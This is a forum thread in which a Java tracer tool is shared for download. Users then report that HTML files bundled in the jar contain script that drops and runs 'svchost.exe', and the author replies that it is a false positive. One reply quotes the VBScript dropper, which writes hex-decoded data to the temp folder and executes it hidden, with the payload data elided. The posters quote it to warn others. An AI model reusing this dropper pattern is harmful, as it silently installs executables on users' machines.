EXETOOLS FORUM  

Go Back   EXETOOLS FORUM > General > Community Tools

Notices

Reply
 
Thread Tools Display Modes
  #1  
Old 01-09-2018, 23:19
CodeCracker CodeCracker is offline
Family
 
Join Date: Jun 2011
Posts: 134
Rept. Given: 12
Rept. Rcvd 187 Times in 41 Posts
Thanks Given: 5
Thanks Rcvd at 372 Times in 79 Posts
CodeCracker Reputation: 100-199 CodeCracker Reputation: 100-199
Tracer v2

Tracer v2
Java tracer, this time as a standalone jar,
Just select a Jar and an output text file,
click Trace, and wheel that's it!
classes which start with "java." can't be logged!

Download link:
http://www18.zippyshare.com/v/qhcVnrK0/file.html

Last edited by CodeCracker; 01-17-2018 at 05:03.
Reply With Quote
The Following 2 Users Say Thank You to CodeCracker For This Useful Post:
niculaita (01-09-2018), wilson bibe (01-10-2018)
  #2  
Old 01-11-2018, 01:33
Kerlingen Kerlingen is offline
VIP
 
Join Date: Feb 2011
Posts: 271
Rept. Given: 0
Rept. Rcvd 256 Times in 92 Posts
Thanks Given: 0
Thanks Rcvd at 109 Times in 42 Posts
Kerlingen Reputation: 200-299 Kerlingen Reputation: 200-299 Kerlingen Reputation: 200-299
This file contains a VIRUS !!!

No, it's no false positive. There are at least seven HTML files "package.html" inside which contain JavaScript to drop a file called "svchost.exe"
Reply With Quote
The Following 6 Users Say Thank You to Kerlingen For This Useful Post:
dila (01-12-2018), niculaita (01-11-2018), QuakeGamer (01-15-2018), tonyweb (01-15-2018), Zeokat (01-12-2018), zeuscane (01-12-2018)
  #3  
Old 01-11-2018, 20:33
cybercoder cybercoder is offline
Friend
 
Join Date: Aug 2005
Posts: 93
Rept. Given: 2
Rept. Rcvd 11 Times in 8 Posts
Thanks Given: 19
Thanks Rcvd at 23 Times in 12 Posts
cybercoder Reputation: 11
Yep actually looks pretty dodgy, seems to try and use vbscript to drop svchost.exe

--<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = ......

Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
</SCRIPT>

Haven't actually checked out the file that is to be dropped yet.
Reply With Quote
  #4  
Old 01-15-2018, 23:28
Zeokat Zeokat is offline
Friend
 
Join Date: Dec 2017
Posts: 4
Rept. Given: 0
Rept. Rcvd 0 Times in 0 Posts
Thanks Given: 23
Thanks Rcvd at 1 Time in 1 Post
Zeokat Reputation: 0
I could read same report at another forum and CodeCracker replied saying that is a false positive. But... i still have my doubts
Reply With Quote
  #5  
Old 01-17-2018, 04:58
CodeCracker CodeCracker is offline
Family
 
Join Date: Jun 2011
Posts: 134
Rept. Given: 12
Rept. Rcvd 187 Times in 41 Posts
Thanks Given: 5
Thanks Rcvd at 372 Times in 79 Posts
CodeCracker Reputation: 100-199 CodeCracker Reputation: 100-199
False positive due to some htmls present under jar archive.
If you already runed the jar file don't be alarmed since the html
are not executed, and not even used.
Htmls removed, check:
http://www18.zippyshare.com/v/qhcVnrK0/file.html
Reply With Quote
The Following User Says Thank You to CodeCracker For This Useful Post:
niculaita (01-17-2018)
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



All times are GMT +8. The time now is 20:48.


ICP05004977
Always Your Best Friend: Aaron, JMI, ahmadmansoor, ZeNiX